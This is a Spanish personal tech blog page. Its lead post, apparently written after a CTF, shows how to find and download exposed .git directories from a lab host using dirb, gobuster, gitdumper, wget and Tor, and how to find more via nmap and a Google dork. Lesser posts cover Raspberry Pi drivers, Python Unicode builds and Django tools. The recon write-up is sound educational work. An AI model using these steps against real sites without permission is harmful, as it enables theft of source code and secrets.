miércoles, 26 de agosto de 2020

Obtener informacion de repositorios a través de los metadatos .git publicados por error

 A raiz de CTF realizado recientemente, me ha parecido interesante publicar este post sobre los errores de seguridad que se encuentran en muchos sitios. En este caso, el tener publicado los metadatos de un repositorio clonado. Veamos cómo obtener esta información de manera muy sencilla.


Prerequisitos si queremos trabajar de manera anónima:


systemctl start tor

Luego podremos lanzar los comandos con torify o torsock, de esta manera trabajaremos a través de la red tor.

Se puede verificar de esta manera (donde veremos que la ip que tenemos asignada difiere):

curl ifconfig.me --> Nos devolverá nuestra IP
torsocks curl ifconfig.me --> Nos devolverá la IP del nodo TOR

URL de ejemplo: http://10.10.206.152 

Escanear directorios publicados en la url:


Tenemos varias formas:

  • dirb http://10.10.206.152


salida:

-----------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Wed Aug 26 17:41:46 2020
URL_BASE: http://10.10.206.152/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                         

---- Scanning URL: http://10.10.206.152/ ----
+ http://10.10.206.152/.git/HEAD (CODE:200|SIZE:23)                                                                                                                                        
==> DIRECTORY: http://10.10.206.152/css/                                                                                                                                                   
+ http://10.10.206.152/index.html (CODE:200|SIZE:6890)                                                                                                                                     
                                                                                                                                                                                           
---- Entering directory: http://10.10.206.152/css/ ----
                                                                                                                                                                                           
-----------------
END_TIME: Wed Aug 26 17:51:41 2020
DOWNLOADED: 9224 - FOUND: 2


  • gobuster dir -u 10.10.206.152 -w /usr/share/dirb/wordlists/common.txt


salida:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.206.152
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/26 17:43:09 Starting gobuster
===============================================================
/.git/HEAD (Status: 200)
/css (Status: 301)
/index.html (Status: 200)
===============================================================
2020/08/26 17:43:38 Finished
===============================================================
 

En ambos casos vemos que se está publicando un directorio .git. Esto se debe a que dentro del directorio de publicación web se ha clonado un repositorio git, el cual deja un directorio .git con los metadatos del repositorio utilizado.

Si nos descargamos estos datos, podemos tener la información de dicho repositorio, así como sus distintas versiones y commits realizados.

Descarga de contenido .git

Para descargarlo, lo podemos hacer de varias formas:
 

  • Utilizar el kit de herramientas de https://github.com/internetwache/GitTools.git, el cual contiene un script (gitdumper.sh)


gitdumper.sh http://10.10.206.152/.git/ dir_git

una vez descargado, dentro de dir_git tendremos el directorio oculto .git:

ls -aR
.:
.  ..  .git

./.git:
.  ..  config  description  HEAD  index  info  logs  objects  packed-refs  refs

./.git/info:
.  ..  exclude

./.git/logs:
.  ..  HEAD  refs


  • Realizar una descarga recursiva con wget:


wget --mirror --include-directories=/.git http://10.10.206.152/.git/

obteniendo un nuevo directorio 10.10.206.152 con el .git dentro.
 

Ahora recuperaremos la información de git, esto también lo podemos hacer de varias formas:
 

  • git reset --hard
  • git checkout .

Ahora ya podemos hacer un ls y ver el contenido, así como ver el histórico de commits realizados:

git log

y ver las diferencias entre una versión y otra:

git diff 395e087334d613d5e423cdf8f7be27196a360459 index.html

o cambiar a un estado anterior:

git checkout 395e087334d613d5e423cdf8f7be27196a360459
 

Formas de descubrir directorios .git.

 

  • Podemos hacer uso de un sript de nmap para detectar estos directorios:


nmap -sS -p80 --script=http-git ip_destino

  • Con el script getfinder (https://github.com/internetwache/GitTools.git), donde le pasamos en un fichero el listado de sitios a analizar


python3 gitfinder.py -i input.txt -o salida

  • Y por supuesto con google dork:


intitle:"Index of" ".git"

 

Así que recuerda, no dejes directorios .git en los directorios publicados, o al menos, bloquea el acceso con htaccess.

 

martes, 18 de abril de 2017

Configurar Nano Wifi TL-WN725N en Raspberry pi

Hace poco me regalaron una raspberry pi, y junto con ella, un dongle wifi usb TP-LINK, modelo TL-WN725N. En principio se supone que no debe haber problemas de compatibilidad entre este dongle wifi y nuestra raspberry, pero si la versión de nuestro dongle wifi es la 2 (en la caja viene como Ver:2.0) la cosa cambia.

En mi caso tenía instada la última versión de raspbian, la cual traía una versión de kernel superior a la 3.10.18. Esta versión de kernel es la que funciona con nuestra modelo de dongle wifi (al menos según he podido averiguar). De modo que para poder reconocer el dongle wifi, tendremos que bajar a esta versión del kernel:


sudo rpi-update 8fd111f77895450323abc5b34efde19548ffc480

Tras reiniciar, tendremos el siguiente kernel:

Linux raspberrypi 3.10.18+ #587

Ahora sólo nos queda instalar el driver:

wget https://dl.dropboxusercontent.com/u/80256631/8188eu-20131110.tar.gz
tar -zxvf 8188eu-20131110.tar.gz                                         
cat README                                      <-- view README file with firmware install details
sudo cp rtl8188eufw.bin /lib/firmware/rtlwifi   <-- install firmware file if not already loaded
sudo install -p -m 644 8188eu.ko /lib/modules/3.10.18+/kernel/drivers/net/wireless
sudo insmod /lib/modules/3.10.18+/kernel/drivers/net/wireless/8188eu.ko
sudo depmod -a



Espero que sirva de utilidad.

miércoles, 21 de agosto de 2013

Error undefined symbol: PyUnicodeUCS2

Hace poco actualicé mi versión de ubuntu, tras lo cual me encontré con algunos errores en mis aplicaciones implementadas con Django. Resulta que el sistema unicode que utilizaba el sistema antes era el UCS2, y la versión de python que tengo compilada para Django también, pero al actualizar el sistema se ha cambiado a UCS4, por lo que algunas de mis aplicaciones ofrecen ese error tan feo:

undefined symbol: PyUnicodeUCS2

en concreto para el módulo pycrypto.

Podemos ver que tipo de sistema unicode utiliza nuestra versión de python con este sencillo script:

/ruta/instalacion/python -c "import sys; print sys.maxunicode > 65536 and 'UCS4' or 'UCS2'"

Si efectivamente vemos que utiliza UCS2, tendremos que volver a compilar nuestra versión de python con el siguiente parámetro:

--enable-unicode=ucs4

y tras esto volver a reinstalar el módulo afectado, en mi caso pycrypto (con pip por ejemplo). Tras esto ya debería volver a funcionar nuestra aplicación.

viernes, 26 de julio de 2013

Codificación de ficheros

Algunos comandos para comprobar la codificación de ficheros y modificarla:


- Ver codificación

file --mime-encoding prueba.html


- Cambiar codificación (de iso-8859-1 a utf8)

iconv -f iso-8859-1 -t utf8 prueba.html > nuevo_prueba.html

- Cambiar codificación sobre el mismo fichero (uso de sponge, para lo cual habrá que instalar sudo apt-get install moreutils)


iconv -f iso-8859-1 -t utf8 prueba.html | sponge prueba.html


sponge permite redirigir las salida de un comando que se ejecuta sobre un fichero sobre el mismo fichero.

lunes, 3 de junio de 2013

blockdiag

Blockdiag nos permite generar diferentes tipos de diagramas desde ficheros de texto. 

Un pequeño ejemplo sacado de la página oficial (http://blockdiag.com/en/blockdiag/examples.html) sería el siguiente:

blockdiag {
   // Set labels to nodes.
   A [label = "foo"];
   B [label = "bar"];
   // And set text-color
   C [label = "baz"];

   // Set labels to edges. (short text only)
   A -> B [label = "click bar", textcolor="red"];
   B -> C [label = "click baz"];
   C -> A;
}
 
 
Una vez que lo tenemos guardado (por ejemplo prueba.diag) generaremos el diagrama de la siguiente manera:

blockdiag --no-transparency prueba.diag

y obtendremos en la misma ruta un fichero llamado prueba.png:

Para su instalación, puede se que nos de algún error si ya tenemos instalado PIL, por lo que para curarnos en saludo podemos hacer esto:

pip uninstall PIL
pip uninstall pillow
pip install pillow --upgrade
pip install blockdiag


Echad un vistazo a los diferentes tipos de diagramas que se pueden generar, seguro que puede venir bien para alguna tarea.

Django_evolution

A la hora de hacer cambios en el modelo de datos de nuestras aplicaciones django, siempre se nos plantean los problemas que tenemos que subsanar a mano en las tablas de la bbdd. 

Para estos problemas conocía South, pero según que tipo de campos tengamos en nuestro modelado, hay veces que no nos sirve al 100%. 

Hace poco he descubierto django_evolution, el cual sí que funciona a la perfección y es muy simple de utilizar.

Para su instalación:

pip install django_evolution

Lo añadimos a INSTALLED_APPS y luego simplemente:

python manage.py syncdb

Cuando hagamos una modificación en el modelo de datos:

python manage.py evolve --hint --execute

lunes, 8 de abril de 2013

Modificación de inlines.js de Django

Buenas, por si a alguien le interesa, he realizado una modificación del fichero inlines.js (el encargado de los formularios inlines de Django). Resulta que para una aplicación donde tenia muchos formularios inlines (tanto apilados como tabulados) me resultaba un tanto engorroso tener que desplazarme hasta el final para poder pinchan en el enlace "Añade otro ..." y añadir un nuevo registro. Así que he modificado dicho fichero para añadir este enlace al principio y al final, y con un autodesplazamiento de la página para que enfoque el nuevo registro.

Este sería el aspecto para un formulario inlines tabulado, donde tiene muchos registros, y podemos ver que aparece el enlace para añadir tanto arriba:




como abajo:



Adjunto el patch para aplicar tanto para la versión ampliada como a la minified.

patch_inlines.js
patch_inlines.min.js

Obtener informacion de repositorios a través de los metadatos .git publicados por error

 A raiz de CTF realizado recientemente, me ha parecido interesante publicar este post sobre los errores de seguridad que se encuentran en mu...